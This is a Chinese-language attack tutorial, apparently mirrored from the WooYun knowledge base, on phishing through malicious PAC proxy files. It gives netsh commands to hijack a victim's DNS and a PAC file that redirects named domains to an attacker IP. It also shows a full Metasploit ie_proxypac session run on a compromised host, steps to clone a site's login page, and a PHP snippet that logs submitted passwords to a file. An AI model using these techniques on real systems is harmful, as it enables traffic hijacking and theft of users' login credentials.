透過.PAC進行網路釣魚

wyzsk發表於2020-08-19
作者: Evi1cg · 2015/09/21 10:21

0x00 常見網路釣魚方式


攻擊者進行網路釣魚的方式常有以下幾種:

1. 透過修改受害者hosts檔案(C:\WINDOWS\system32\drivers\etc\hosts)來實現;

2. 透過修改受害者dns來實現;

3. 已經進入路由器,直接修改路由器的DNS。

羅列的並不全,之後遇到的話再補充,上述三種方式很常見。

  1. 修改HOSTS檔案,即攻擊者修改受害者HOSTS檔案為如下形式:

    127.0.0.1 localhost x.x.x.x www.wooyun.com

這樣就受害者訪問www.wooyun.com會直接訪問到x.x.x.x。在msf中可以使用inject_host指令碼來實現。

  1. 修改dns進行攻擊:

    攻擊者可是使用如下命令修改受害者的dns地址(管理員身份執行):

    C:\Windows\system32>netsh interface ip show interfaces        
    
    Idx  Met   MTU   狀態          名稱
    ---  ---  -----  -----------  -------------------
      1   50 4294967295  connected    Loopback Pseudo-Interface 1
     10   10   1500  connected    本地連線        
    
    C:\Windows\system32>netsh interface ip set dns "本地連線" static 192.168.1.100
    C:\Windows\system32>ipconfig /all | findstr 192.168.1.100
       DNS 伺服器  . . . . . . . . . . . : 192.168.1.100
    

    這樣就修改了受害者的DNS地址,之後可以使用msf的 fakedns來架設dns伺服器來修改域名的解析地址。

除了直接修改路由器的DNS地址的以上兩種方式在某些環境下還是有一些缺點的,例如,一些牛逼的AV會檢測到檔案的修改而發出報警,除此之外,如果受害者所處內網環境中的防火牆或路由器攔截對外部的DNS請求,修改受害者DNS的攻擊方式並不能生效(因為攻擊者架設的DNS在外網環境下)。

0x01 透過PAC代理


本文主要介紹的是Metasploit中的一個模組ie_proxypac。透過.PAC(自動配置代理)檔案來完全控制IE的使用者流量。只需要修改PAC檔案,攻擊者就能使受害者訪問的某個域名指向攻擊者的IP。雖然沒有修改DNS但是可以達到同樣的效果,且這種方式較為隱蔽。已經有很多人使用這種方式進行網路釣魚

下面是一個PAC檔案示例:

function FindProxyForURL(url, host)
{
if (shExpMatch(host, "www.wooyun.org")) { 
 return "PROXY 192.168.52.129:80; DIRECT";
}
if (shExpMatch(host, "www.baidu.com")) { 
 return "PROXY 192.168.52.129:80; DIRECT";
}
}

這個檔案的配置是當受害者訪問www.wooyun.com以及www.baidu.com時,他會直接請求到攻擊者ip( 192.168.52.129)。

詳細的PAC編寫請檢視http://findproxyforurl.com/pac-functions/。

將以上指令碼儲存為test.pac,在獲取meterpreter會話的基礎上使用ie_proxypac指令碼:

#!bash
meterpreter > background 
[*] Backgrounding session 1...
msf > use post/windows/manage/ie_proxypac 
msf post(ie_proxypac) > set session 1
session => 1
msf post(ie_proxypac) > set REMOTE_PAC http://192.168.52.129/test.pac
REMOTE_PAC => http://192.168.52.129/test.pac
msf post(ie_proxypac) > show options     

Module options (post/windows/manage/ie_proxypac):    

   Name           Current Setting         Required  Description
   ----           ---------------         --------  -----------
   AUTO_DETECT    false                           yes       Automatically detect settings.
   DISABLE_PROXY  false                           yes       Disable the proxy server.
   LOCAL_PAC                                      no        Local PAC file.
   REMOTE_PAC     http://192.168.52.129/test.pac  no        Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)
   SESSION        1                               yes       The session to run this module on.
msf post(ie_proxypac) > exploit     

[*] Setting automatic configuration script from local PAC file ...
[+] Automatic configuration script configured...
[*] Post module execution completed    

之後開啟ie,internet選項->連線->區域網設定:

Alt text

可以看到pac已經使用pac檔案進行了代理。

代理儘量使用遠端代理,因為IE11預設禁止本地代理,如果使用本地代理,代理是無效的。詳情測試發現,如果連線了vpn,pac代理是失效的。

現在再訪問www.baidu.com,www.wooyun.org,會看到已經轉移到了我們制定的ip:

Alt text

0x02 能做什麼


這裡我們修改pac檔案如下:

function FindProxyForURL(url, host)
{
if (shExpMatch(host, "www.wooyun.org")) { 
 return "PROXY 192.168.52.129:80; DIRECT";
}
}

這裡ip要改成自己的web的ip,如果受害者請求的網站host為 www.wooyun.org 時,滿足規則,然後跳轉到我們指定的ip地址,這裡我們可以來構造釣魚。

開啟wooyun,右鍵檢視原始碼,將所有原始碼儲存為index.html,放在網站根目錄下,因為當受害者請求 http://wooyun.org,其host為 wooyun.org 不滿足代理條件,就會直接請求,所以我們把原始碼中的www.wooyun.org,改為wooyun.org:

Alt text

然後找到url,src,href標籤,修改為http://wooyun.org/xxxx 的形式,比如

#!html
<link href="/css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>

修改為

#!html
<link href="http://wooyun.org/css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>

改完以後,基本上就算克隆成功了:

Alt text

下來要把登陸頁面的的原始碼複製過來,開啟http://www.wooyun.org/user.php?action=login,右鍵複製原始碼,儲存為user.php,放在網站根目錄下,修改原始碼中的url,src,href。修改完之後,開啟index.html檔案,定位登入,修改href為 user.php?action=login,修改以後此標籤為:

#!html
<a href="user.php?action=login">登入</a> | <a href="http://wooyun.org/user.php?action=register" class="reg">註冊</a>

開啟user.php,定位使用者登入表單,修改表單action為post.php:

#!html
<a href="#">使用者登入</a></div>
        </div>
<form action="post.php" method="POST">  
.....

在網站根目錄新建post.php,新增如下程式碼:

#!php
<?php $file = 'data.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=http://wooyun.org/user.php?action=login" />

這樣釣魚站就搭建好了。

當使用者登入時:

Alt text

點選登陸以後會跳轉到http://wooyun.org/user.php?action=login

Alt text

檢視data.txt:

Alt text

只是簡單地一個示例,具體可以透過修改pac檔案來實現控制瀏覽器是否進行代理。

0x03 小結


此種方式進行網路釣魚,做的細緻的話,很難被發現,而且隱蔽性好,缺點就是連線vpn以後代理將會失效。以上是個人的測試結果,請各位大牛指正。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章